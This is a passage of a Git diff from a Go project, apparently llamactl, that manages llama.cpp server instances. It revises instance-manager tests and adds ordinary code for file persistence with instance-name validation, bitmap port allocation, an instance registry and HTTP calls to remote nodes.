+	// Try to create instance with same port
+	options2 := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model2.gguf",
+				Port:  8080, // Same port - should conflict
+			},
 		},
 	}
 
@@ -121,98 +112,21 @@ func TestPortManagement(t *testing.T) {
 	if !strings.Contains(err.Error(), "port") && !strings.Contains(err.Error(), "in use") {
 		t.Errorf("Expected port conflict error, got: %v", err)
 	}
-
-	// Test port release on deletion
-	specificPort := 8080
-	options3 := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
-			Port:  specificPort,
-		},
-	}
-
-	_, err = manager.CreateInstance("port-test", options3)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	err = manager.DeleteInstance("port-test")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	// Should be able to create new instance with same port
-	_, err = manager.CreateInstance("new-port-test", options3)
-	if err != nil {
-		t.Errorf("Expected to reuse port after deletion, got error: %v", err)
-	}
 }
 
-func TestInstanceOperations(t *testing.T) {
+func TestInstanceOperations_FailWithNonExistentInstance(t *testing.T) {
 	manager := createTestManager()
 
-	options := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/model.gguf",
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
 		},
 	}
 
-	// Create instance
-	created, err := manager.CreateInstance("test-instance", options)
-	if err != nil {
-		t.Fatalf("CreateInstance failed: %v", err)
-	}
-
-	// Get instance
-	retrieved, err := manager.GetInstance("test-instance")
-	if err != nil {
-		t.Fatalf("GetInstance failed: %v", err)
-	}
-	if retrieved.Name != created.Name {
-		t.Errorf("Expected name %q, got %q", created.Name, retrieved.Name)
-	}
-
-	// Update instance
-	newOptions := &instance.CreateInstanceOptions{
-		BackendType: backends.BackendTypeLlamaCpp,
-		LlamaServerOptions: &llamacpp.LlamaServerOptions{
-			Model: "/path/to/new-model.gguf",
-			Port:  8081,
-		},
-	}
-
-	updated, err := manager.UpdateInstance("test-instance", newOptions)
-	if err != nil {
-		t.Fatalf("UpdateInstance failed: %v", err)
-	}
-	if updated.GetOptions().LlamaServerOptions.Model != "/path/to/new-model.gguf" {
-		t.Errorf("Expected model '/path/to/new-model.gguf', got %q", updated.GetOptions().LlamaServerOptions.Model)
-	}
-
-	// List instances
-	instances, err := manager.ListInstances()
-	if err != nil {
-		t.Fatalf("ListInstances failed: %v", err)
-	}
-	if len(instances) != 1 {
-		t.Errorf("Expected 1 instance, got %d", len(instances))
-	}
-
-	// Delete instance
-	err = manager.DeleteInstance("test-instance")
-	if err != nil {
-		t.Fatalf("DeleteInstance failed: %v", err)
-	}
-
-	_, err = manager.GetInstance("test-instance")
-	if err == nil {
-		t.Error("Instance should not exist after deletion")
-	}
-
-	// Test operations on non-existent instances
-	_, err = manager.GetInstance("nonexistent")
+	_, err := manager.GetInstance("nonexistent")
 	if err == nil || !strings.Contains(err.Error(), "not found") {
 		t.Errorf("Expected 'not found' error, got: %v", err)
 	}
@@ -227,3 +141,143 @@ func TestInstanceOperations(t *testing.T) {
 		t.Errorf("Expected 'not found' error, got: %v", err)
 	}
 }
+
+func TestDeleteInstance_RunningInstanceFails(t *testing.T) {
+	mgr := createTestManager()
+	defer mgr.Shutdown()
+
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+			},
+		},
+	}
+
+	_, err := mgr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	_, err = mgr.StartInstance("test-instance")
+	if err != nil {
+		t.Fatalf("StartInstance failed: %v", err)
+	}
+
+	// Should fail to delete running instance
+	err = mgr.DeleteInstance("test-instance")
+	if err == nil {
+		t.Error("Expected error when deleting running instance")
+	}
+}
+
+func TestUpdateInstance(t *testing.T) {
+	mgr := createTestManager()
+	defer mgr.Shutdown()
+
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
+		},
+	}
+
+	_, err := mgr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	_, err = mgr.StartInstance("test-instance")
+	if err != nil {
+		t.Fatalf("StartInstance failed: %v", err)
+	}
+
+	// Update running instance with new model
+	newOptions := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/new-model.gguf",
+				Port:  8080,
+			},
+		},
+	}
+
+	updated, err := mgr.UpdateInstance("test-instance", newOptions)
+	if err != nil {
+		t.Fatalf("UpdateInstance failed: %v", err)
+	}
+
+	// Should still be running after update
+	if !updated.IsRunning() {
+		t.Error("Instance should be running after update")
+	}
+
+	if updated.GetOptions().BackendOptions.LlamaServerOptions.Model != "/path/to/new-model.gguf" {
+		t.Errorf("Expected model to be updated")
+	}
+}
+
+func TestUpdateInstance_ReleasesOldPort(t *testing.T) {
+	mgr := createTestManager()
+	defer mgr.Shutdown()
+
+	options := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8080,
+			},
+		},
+	}
+
+	inst, err := mgr.CreateInstance("test-instance", options)
+	if err != nil {
+		t.Fatalf("CreateInstance failed: %v", err)
+	}
+
+	if inst.GetPort() != 8080 {
+		t.Errorf("Expected port 8080, got %d", inst.GetPort())
+	}
+
+	// Update with new port
+	newOptions := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model.gguf",
+				Port:  8081,
+			},
+		},
+	}
+
+	updated, err := mgr.UpdateInstance("test-instance", newOptions)
+	if err != nil {
+		t.Fatalf("UpdateInstance failed: %v", err)
+	}
+
+	if updated.GetPort() != 8081 {
+		t.Errorf("Expected port 8081, got %d", updated.GetPort())
+	}
+
+	// Old port should be released - try to create new instance with old port
+	options2 := &instance.Options{
+		BackendOptions: backends.Options{
+			BackendType: backends.BackendTypeLlamaCpp,
+			LlamaServerOptions: &backends.LlamaServerOptions{
+				Model: "/path/to/model2.gguf",
+				Port:  8080,
+			},
+		},
+	}
+
+	_, err = mgr.CreateInstance("test-instance-2", options2)
+	if err != nil {
+		t.Errorf("Should be able to use old port 8080: %v", err)
+	}
+}

pkg/manager/persistence.go

@@ -0,0 +1,223 @@
+package manager
+
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/instance"
+	"log"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+)
+
+// instancePersister provides atomic file-based persistence with durability guarantees.
+type instancePersister struct {
+	mu           sync.Mutex
+	instancesDir string
+	enabled      bool
+}
+
+// newInstancePersister creates a new instance persister.
+// If instancesDir is empty, persistence is disabled.
+func newInstancePersister(instancesDir string) (*instancePersister, error) {
+	if instancesDir == "" {
+		return &instancePersister{
+			enabled: false,
+		}, nil
+	}
+
+	// Ensure the instances directory exists
+	if err := os.MkdirAll(instancesDir, 0755); err != nil {
+		return nil, fmt.Errorf("failed to create instances directory: %w", err)
+	}
+
+	return &instancePersister{
+		instancesDir: instancesDir,
+		enabled:      true,
+	}, nil
+}
+
+// Save persists an instance to disk with atomic write
+func (p *instancePersister) save(inst *instance.Instance) error {
+	if !p.enabled {
+		return nil
+	}
+
+	if inst == nil {
+		return fmt.Errorf("cannot save nil instance")
+	}
+
+	// Validate instance name to prevent path traversal
+	validatedName, err := p.validateInstanceName(inst.Name)
+	if err != nil {
+		return err
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	instancePath := filepath.Join(p.instancesDir, validatedName+".json")
+	tempPath := instancePath + ".tmp"
+
+	// Serialize instance to JSON
+	jsonData, err := json.MarshalIndent(inst, "", "  ")
+	if err != nil {
+		return fmt.Errorf("failed to marshal instance %s: %w", inst.Name, err)
+	}
+
+	// Create temporary file
+	tempFile, err := os.OpenFile(tempPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
+	if err != nil {
+		return fmt.Errorf("failed to create temp file for instance %s: %w", inst.Name, err)
+	}
+
+	// Write data to temporary file
+	if _, err := tempFile.Write(jsonData); err != nil {
+		tempFile.Close()
+		os.Remove(tempPath)
+		return fmt.Errorf("failed to write temp file for instance %s: %w", inst.Name, err)
+	}
+
+	// Sync to disk before rename to ensure durability
+	if err := tempFile.Sync(); err != nil {
+		tempFile.Close()
+		os.Remove(tempPath)
+		return fmt.Errorf("failed to sync temp file for instance %s: %w", inst.Name, err)
+	}
+
+	// Close the file
+	if err := tempFile.Close(); err != nil {
+		os.Remove(tempPath)
+		return fmt.Errorf("failed to close temp file for instance %s: %w", inst.Name, err)
+	}
+
+	// Atomic rename (this is atomic on POSIX systems)
+	if err := os.Rename(tempPath, instancePath); err != nil {
+		os.Remove(tempPath)
+		return fmt.Errorf("failed to rename temp file for instance %s: %w", inst.Name, err)
+	}
+
+	return nil
+}
+
+// Delete removes an instance's persistence file from disk.
+func (p *instancePersister) delete(name string) error {
+	if !p.enabled {
+		return nil
+	}
+
+	validatedName, err := p.validateInstanceName(name)
+	if err != nil {
+		return err
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	instancePath := filepath.Join(p.instancesDir, validatedName+".json")
+
+	if err := os.Remove(instancePath); err != nil {
+		if os.IsNotExist(err) {
+			// Not an error if file doesn't exist
+			return nil
+		}
+		return fmt.Errorf("failed to delete instance file for %s: %w", name, err)
+	}
+
+	return nil
+}
+
+// LoadAll loads all persisted instances from disk.
+// Returns a slice of instances and any errors encountered during loading.
+func (p *instancePersister) loadAll() ([]*instance.Instance, error) {
+	if !p.enabled {
+		return nil, nil
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	// Check if instances directory exists
+	if _, err := os.Stat(p.instancesDir); os.IsNotExist(err) {
+		return nil, nil // No instances directory, return empty list
+	}
+
+	// Read all JSON files from instances directory
+	files, err := os.ReadDir(p.instancesDir)
+	if err != nil {
+		return nil, fmt.Errorf("failed to read instances directory: %w", err)
+	}
+
+	instances := make([]*instance.Instance, 0)
+	var loadErrors []string
+
+	for _, file := range files {
+		if file.IsDir() || !strings.HasSuffix(file.Name(), ".json") {
+			continue
+		}
+
+		instanceName := strings.TrimSuffix(file.Name(), ".json")
+		instancePath := filepath.Join(p.instancesDir, file.Name())
+
+		inst, err := p.loadInstanceFile(instanceName, instancePath)
+		if err != nil {
+			log.Printf("Failed to load instance %s: %v", instanceName, err)
+			loadErrors = append(loadErrors, fmt.Sprintf("%s: %v", instanceName, err))
+			continue
+		}
+
+		instances = append(instances, inst)
+	}
+
+	if len(loadErrors) > 0 {
+		log.Printf("Loaded %d instances with %d errors", len(instances), len(loadErrors))
+	} else if len(instances) > 0 {
+		log.Printf("Loaded %d instances from persistence", len(instances))
+	}
+
+	return instances, nil
+}
+
+// loadInstanceFile is an internal helper that loads a single instance file.
+// Note: This assumes the mutex is already held by the caller.
+func (p *instancePersister) loadInstanceFile(name, path string) (*instance.Instance, error) {
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return nil, fmt.Errorf("failed to read instance file: %w", err)
+	}
+
+	var inst instance.Instance
+	if err := json.Unmarshal(data, &inst); err != nil {
+		return nil, fmt.Errorf("failed to unmarshal instance: %w", err)
+	}
+
+	// Validate the instance name matches the filename
+	if inst.Name != name {
+		return nil, fmt.Errorf("instance name mismatch: file=%s, instance.Name=%s", name, inst.Name)
+	}
+
+	return &inst, nil
+}
+
+// validateInstanceName ensures the instance name is safe for filesystem operations.
+// Returns the validated name if valid, or an error if invalid.
+func (p *instancePersister) validateInstanceName(name string) (string, error) {
+	if name == "" {
+		return "", fmt.Errorf("instance name cannot be empty")
+	}
+
+	// Check for path separators and parent directory references
+	// This prevents path traversal attacks
+	if strings.Contains(name, "/") || strings.Contains(name, "\\") || strings.Contains(name, "..") {
+		return "", fmt.Errorf("invalid instance name: %s (cannot contain path separators or '..')", name)
+	}
+
+	// Additional check: ensure the name doesn't start with a dot (hidden files)
+	// or contain any other suspicious characters
+	if strings.HasPrefix(name, ".") {
+		return "", fmt.Errorf("invalid instance name: %s (cannot start with '.')", name)
+	}
+
+	return name, nil
+}

pkg/manager/ports.go

@@ -0,0 +1,184 @@
+package manager
+
+import (
+	"fmt"
+	"math/bits"
+	"sync"
+)
+
+// portAllocator provides efficient port allocation using a bitmap for O(1) operations.
+// The bitmap approach prevents unbounded memory growth and simplifies port management.
+type portAllocator struct {
+	mu sync.Mutex
+
+	// Bitmap for O(1) allocation/release
+	// Each bit represents a port (1 = allocated, 0 = free)
+	bitmap []uint64 // Each uint64 covers 64 ports
+
+	// Map port to instance name for cleanup operations
+	allocated map[int]string
+
+	minPort   int
+	maxPort   int
+	rangeSize int
+}
+
+// newPortAllocator creates a new port allocator for the given port range.
+// Returns an error if the port range is invalid.
+func newPortAllocator(minPort, maxPort int) (*portAllocator, error) {
+	if minPort <= 0 || maxPort <= 0 {
+		return nil, fmt.Errorf("invalid port range: min=%d, max=%d (must be > 0)", minPort, maxPort)
+	}
+	if minPort > maxPort {
+		return nil, fmt.Errorf("invalid port range: min=%d > max=%d", minPort, maxPort)
+	}
+
+	rangeSize := maxPort - minPort + 1
+	bitmapSize := (rangeSize + 63) / 64 // Round up to nearest uint64
+
+	return &portAllocator{
+		bitmap:    make([]uint64, bitmapSize),
+		allocated: make(map[int]string),
+		minPort:   minPort,
+		maxPort:   maxPort,
+		rangeSize: rangeSize,
+	}, nil
+}
+
+// allocate finds and allocates the first available port for the given instance.
+// Returns the allocated port or an error if no ports are available.
+func (p *portAllocator) allocate(instanceName string) (int, error) {
+	if instanceName == "" {
+		return 0, fmt.Errorf("instance name cannot be empty")
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	port, err := p.findFirstFreeBit()
+	if err != nil {
+		return 0, err
+	}
+
+	p.setBit(port)
+	p.allocated[port] = instanceName
+
+	return port, nil
+}
+
+// allocateSpecific allocates a specific port for the given instance.
+// Returns an error if the port is already allocated or out of range.
+func (p *portAllocator) allocateSpecific(port int, instanceName string) error {
+	if instanceName == "" {
+		return fmt.Errorf("instance name cannot be empty")
+	}
+	if port < p.minPort || port > p.maxPort {
+		return fmt.Errorf("port %d is out of range [%d-%d]", port, p.minPort, p.maxPort)
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	if p.isBitSet(port) {
+		return fmt.Errorf("port %d is already allocated", port)
+	}
+
+	p.setBit(port)
+	p.allocated[port] = instanceName
+
+	return nil
+}
+
+// release releases a specific port, making it available for reuse.
+// Returns an error if the port is not allocated.
+func (p *portAllocator) release(port int) error {
+	if port < p.minPort || port > p.maxPort {
+		return fmt.Errorf("port %d is out of range [%d-%d]", port, p.minPort, p.maxPort)
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	if !p.isBitSet(port) {
+		return fmt.Errorf("port %d is not allocated", port)
+	}
+
+	p.clearBit(port)
+	delete(p.allocated, port)
+
+	return nil
+}
+
+// releaseByInstance releases all ports allocated to the given instance.
+// This is useful for cleanup when deleting or updating an instance.
+// Returns the number of ports released.
+func (p *portAllocator) releaseByInstance(instanceName string) int {
+	if instanceName == "" {
+		return 0
+	}
+
+	p.mu.Lock()
+	defer p.mu.Unlock()
+
+	portsToRelease := make([]int, 0)
+	for port, name := range p.allocated {
+		if name == instanceName {
+			portsToRelease = append(portsToRelease, port)
+		}
+	}
+
+	for _, port := range portsToRelease {
+		p.clearBit(port)
+		delete(p.allocated, port)
+	}
+
+	return len(portsToRelease)
+}
+
+// --- Internal bitmap operations ---
+
+// portToBitPos converts a port number to bitmap array index and bit position.
+func (p *portAllocator) portToBitPos(port int) (index int, bit uint) {
+	offset := port - p.minPort
+	index = offset / 64
+	bit = uint(offset % 64)
+	return
+}
+
+// setBit marks a port as allocated in the bitmap.
+func (p *portAllocator) setBit(port int) {
+	index, bit := p.portToBitPos(port)
+	p.bitmap[index] |= (1 << bit)
+}
+
+// clearBit marks a port as free in the bitmap.
+func (p *portAllocator) clearBit(port int) {
+	index, bit := p.portToBitPos(port)
+	p.bitmap[index] &^= (1 << bit)
+}
+
+// isBitSet checks if a port is allocated in the bitmap.
+func (p *portAllocator) isBitSet(port int) bool {
+	index, bit := p.portToBitPos(port)
+	return (p.bitmap[index] & (1 << bit)) != 0
+}
+
+// findFirstFreeBit scans the bitmap to find the first unallocated port.
+// Returns the port number or an error if no ports are available.
+func (p *portAllocator) findFirstFreeBit() (int, error) {
+	for i, word := range p.bitmap {
+		if word != ^uint64(0) { // Not all bits are set (some ports are free)
+			// Find the first 0 bit in this word
+			// XOR with all 1s to flip bits, then find first 1 (which was 0)
+			bit := bits.TrailingZeros64(^word)
+			port := p.minPort + (i * 64) + bit
+
+			// Ensure we don't go beyond maxPort due to bitmap rounding
+			if port <= p.maxPort {
+				return port, nil
+			}
+		}
+	}
+
+	return 0, fmt.Errorf("no available ports in range [%d-%d]", p.minPort, p.maxPort)
+}

pkg/manager/registry.go

@@ -0,0 +1,121 @@
+package manager
+
+import (
+	"fmt"
+	"llamactl/pkg/instance"
+	"sync"
+)
+
+// instanceRegistry provides thread-safe storage and lookup of instances
+// with running state tracking using lock-free sync.Map for status checks.
+type instanceRegistry struct {
+	mu        sync.RWMutex
+	instances map[string]*instance.Instance
+	running   sync.Map // map[string]struct{} - lock-free for status checks
+}
+
+// newInstanceRegistry creates a new instance registry.
+func newInstanceRegistry() *instanceRegistry {
+	return &instanceRegistry{
+		instances: make(map[string]*instance.Instance),
+	}
+}
+
+// Get retrieves an instance by name.
+// Returns the instance and true if found, nil and false otherwise.
+func (r *instanceRegistry) get(name string) (*instance.Instance, bool) {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+
+	inst, exists := r.instances[name]
+	return inst, exists
+}
+
+// List returns a snapshot copy of all instances to prevent external mutation.
+func (r *instanceRegistry) list() []*instance.Instance {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+
+	result := make([]*instance.Instance, 0, len(r.instances))
+	for _, inst := range r.instances {
+		result = append(result, inst)
+	}
+	return result
+}
+
+// ListRunning returns a snapshot of all currently running instances.
+func (r *instanceRegistry) listRunning() []*instance.Instance {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+
+	result := make([]*instance.Instance, 0)
+	for name, inst := range r.instances {
+		if _, isRunning := r.running.Load(name); isRunning {
+			result = append(result, inst)
+		}
+	}
+	return result
+}
+
+// Add adds a new instance to the registry.
+// Returns an error if an instance with the same name already exists.
+func (r *instanceRegistry) add(inst *instance.Instance) error {
+	if inst == nil {
+		return fmt.Errorf("cannot add nil instance")
+	}
+
+	r.mu.Lock()
+	defer r.mu.Unlock()
+
+	if _, exists := r.instances[inst.Name]; exists {
+		return fmt.Errorf("instance %s already exists", inst.Name)
+	}
+
+	r.instances[inst.Name] = inst
+
+	// Initialize running state if the instance is running
+	if inst.IsRunning() {
+		r.running.Store(inst.Name, struct{}{})
+	}
+
+	return nil
+}
+
+// Remove removes an instance from the registry.
+// Returns an error if the instance doesn't exist.
+func (r *instanceRegistry) remove(name string) error {
+	r.mu.Lock()
+	defer r.mu.Unlock()
+
+	if _, exists := r.instances[name]; !exists {
+		return fmt.Errorf("instance %s not found", name)
+	}
+
+	delete(r.instances, name)
+	r.running.Delete(name)
+
+	return nil
+}
+
+// MarkRunning marks an instance as running using lock-free sync.Map.
+func (r *instanceRegistry) markRunning(name string) {
+	r.running.Store(name, struct{}{})
+}
+
+// MarkStopped marks an instance as stopped using lock-free sync.Map.
+func (r *instanceRegistry) markStopped(name string) {
+	r.running.Delete(name)
+}
+
+// IsRunning checks if an instance is running using lock-free sync.Map.
+func (r *instanceRegistry) isRunning(name string) bool {
+	_, isRunning := r.running.Load(name)
+	return isRunning
+}
+
+// Count returns the total number of instances in the registry.
+func (r *instanceRegistry) count() int {
+	r.mu.RLock()
+	defer r.mu.RUnlock()
+	return len(r.instances)
+}

pkg/manager/remote.go

@@ -0,0 +1,293 @@
+package manager
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+)
+
+const apiBasePath = "/api/v1/instances/"
+
+// remoteManager handles HTTP operations for remote instances.
+type remoteManager struct {
+	mu             sync.RWMutex
+	client         *http.Client
+	nodeMap        map[string]*config.NodeConfig // node name -> node config
+	instanceToNode map[string]*config.NodeConfig // instance name -> node config
+}
+
+// newRemoteManager creates a new remote manager.
+func newRemoteManager(nodes map[string]config.NodeConfig, timeout time.Duration) *remoteManager {
+	if timeout <= 0 {
+		timeout = 30 * time.Second
+	}
+
+	// Build node config map
+	nodeMap := make(map[string]*config.NodeConfig)
+	for name := range nodes {
+		nodeCopy := nodes[name]
+		nodeMap[name] = &nodeCopy
+	}
+
+	return &remoteManager{
+		client: &http.Client{
+			Timeout: timeout,
+		},
+		nodeMap:        nodeMap,
+		instanceToNode: make(map[string]*config.NodeConfig),
+	}
+}
+
+// GetNodeForInstance returns the node configuration for a given instance.
+// Returns nil if the instance is not mapped to any node.
+func (rm *remoteManager) getNodeForInstance(instanceName string) (*config.NodeConfig, bool) {
+	rm.mu.RLock()
+	defer rm.mu.RUnlock()
+
+	node, exists := rm.instanceToNode[instanceName]
+	return node, exists
+}
+
+// SetInstanceNode maps an instance to a specific node.
+// Returns an error if the node doesn't exist.
+func (rm *remoteManager) setInstanceNode(instanceName, nodeName string) error {
+	rm.mu.Lock()
+	defer rm.mu.Unlock()
+
+	node, exists := rm.nodeMap[nodeName]
+	if !exists {
+		return fmt.Errorf("node %s not found", nodeName)
+	}
+
+	rm.instanceToNode[instanceName] = node
+	return nil
+}
+
+// RemoveInstance removes the instance-to-node mapping.
+func (rm *remoteManager) removeInstance(instanceName string) {
+	rm.mu.Lock()
+	defer rm.mu.Unlock()
+
+	delete(rm.instanceToNode, instanceName)
+}
+
+// --- HTTP request helpers ---
+
+// makeRemoteRequest creates and executes an HTTP request to a remote node with context support.
+func (rm *remoteManager) makeRemoteRequest(ctx context.Context, nodeConfig *config.NodeConfig, method, path string, body any) (*http.Response, error) {
+	var reqBody io.Reader
+	if body != nil {
+		jsonData, err := json.Marshal(body)
+		if err != nil {
+			return nil, fmt.Errorf("failed to marshal request body: %w", err)
+		}
+		reqBody = bytes.NewBuffer(jsonData)
+	}
+
+	url := fmt.Sprintf("%s%s", nodeConfig.Address, path)
+	req, err := http.NewRequestWithContext(ctx, method, url, reqBody)
+	if err != nil {
+		return nil, fmt.Errorf("failed to create request: %w", err)
+	}
+
+	if body != nil {
+		req.Header.Set("Content-Type", "application/json")
+	}
+
+	if nodeConfig.APIKey != "" {
+		req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", nodeConfig.APIKey))
+	}
+
+	resp, err := rm.client.Do(req)
+	if err != nil {
+		return nil, fmt.Errorf("failed to execute request: %w", err)
+	}
+
+	return resp, nil
+}
+
+// parseRemoteResponse parses an HTTP response and unmarshals the result.
+func parseRemoteResponse(resp *http.Response, result any) error {
+	defer resp.Body.Close()
+
+	body, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return fmt.Errorf("failed to read response body: %w", err)
+	}
+
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return fmt.Errorf("API request failed with status %d: %s", resp.StatusCode, string(body))
+	}
+
+	if result != nil {
+		if err := json.Unmarshal(body, result); err != nil {
+			return fmt.Errorf("failed to unmarshal response: %w", err)
+		}
+	}
+
+	return nil
+}
+
+// --- Remote CRUD operations ---
+
+// createInstance creates a new instance on a remote node.
+func (rm *remoteManager) createInstance(ctx context.Context, node *config.NodeConfig, name string, opts *instance.Options) (*instance.Instance, error) {
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/", apiBasePath, escapedName)
+
+	resp, err := rm.makeRemoteRequest(ctx, node, "POST", path, opts)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// getInstance retrieves an instance by name from a remote node.
+func (rm *remoteManager) getInstance(ctx context.Context, node *config.NodeConfig, name string) (*instance.Instance, error) {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/", apiBasePath, escapedName)
+	resp, err := rm.makeRemoteRequest(ctx, node, "GET", path, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// updateInstance updates an existing instance on a remote node.
+func (rm *remoteManager) updateInstance(ctx context.Context, node *config.NodeConfig, name string, opts *instance.Options) (*instance.Instance, error) {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/", apiBasePath, escapedName)
+
+	resp, err := rm.makeRemoteRequest(ctx, node, "PUT", path, opts)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// deleteInstance deletes an instance from a remote node.
+func (rm *remoteManager) deleteInstance(ctx context.Context, node *config.NodeConfig, name string) error {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/", apiBasePath, escapedName)
+	resp, err := rm.makeRemoteRequest(ctx, node, "DELETE", path, nil)
+	if err != nil {
+		return err
+	}
+
+	return parseRemoteResponse(resp, nil)
+}
+
+// startInstance starts an instance on a remote node.
+func (rm *remoteManager) startInstance(ctx context.Context, node *config.NodeConfig, name string) (*instance.Instance, error) {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/start", apiBasePath, escapedName)
+	resp, err := rm.makeRemoteRequest(ctx, node, "POST", path, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// stopInstance stops an instance on a remote node.
+func (rm *remoteManager) stopInstance(ctx context.Context, node *config.NodeConfig, name string) (*instance.Instance, error) {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/stop", apiBasePath, escapedName)
+	resp, err := rm.makeRemoteRequest(ctx, node, "POST", path, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// restartInstance restarts an instance on a remote node.
+func (rm *remoteManager) restartInstance(ctx context.Context, node *config.NodeConfig, name string) (*instance.Instance, error) {
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/restart", apiBasePath, escapedName)
+	resp, err := rm.makeRemoteRequest(ctx, node, "POST", path, nil)
+	if err != nil {
+		return nil, err
+	}
+
+	var inst instance.Instance
+	if err := parseRemoteResponse(resp, &inst); err != nil {
+		return nil, err
+	}
+
+	return &inst, nil
+}
+
+// getInstanceLogs retrieves logs for an instance from a remote node.
+func (rm *remoteManager) getInstanceLogs(ctx context.Context, node *config.NodeConfig, name string, numLines int) (string, error) {
+
+	escapedName := url.PathEscape(name)
+
+	path := fmt.Sprintf("%s%s/logs?lines=%d", apiBasePath, escapedName, numLines)
+	resp, err := rm.makeRemoteRequest(ctx, node, "GET", path, nil)
+	if err != nil {
+		return "", err
+	}
+
+	defer resp.Body.Close()
+
+	body, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return "", fmt.Errorf("failed to read response body: %w", err)
+	}
+
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		return "", fmt.Errorf("API request failed with status %d: %s", resp.StatusCode, string(body))
+	}
+
+	// Logs endpoint returns plain text (Content-Type: text/plain)
+	return string(body), nil
+}

pkg/manager/timeout.go

@@ -1,64 +0,0 @@
-package manager
-
-import (
-	"fmt"
-	"llamactl/pkg/instance"
-	"log"
-)
-
-func (im *instanceManager) checkAllTimeouts() {
-	im.mu.RLock()
-	var timeoutInstances []string
-
-	// Identify instances that should timeout
-	for _, inst := range im.instances {
-		if inst.ShouldTimeout() {
-			timeoutInstances = append(timeoutInstances, inst.Name)
-		}
-	}
-	im.mu.RUnlock() // Release read lock before calling StopInstance
-
-	// Stop the timed-out instances
-	for _, name := range timeoutInstances {
-		log.Printf("Instance %s has timed out, stopping it", name)
-		if _, err := im.StopInstance(name); err != nil {
-			log.Printf("Error stopping instance %s: %v", name, err)
-		} else {
-			log.Printf("Instance %s stopped successfully", name)
-		}
-	}
-}
-
-// EvictLRUInstance finds and stops the least recently used running instance.
-func (im *instanceManager) EvictLRUInstance() error {
-	im.mu.RLock()
-	var lruInstance *instance.Process
-
-	for name, _ := range im.runningInstances {
-		inst := im.instances[name]
-		if inst == nil {
-			continue
-		}
-
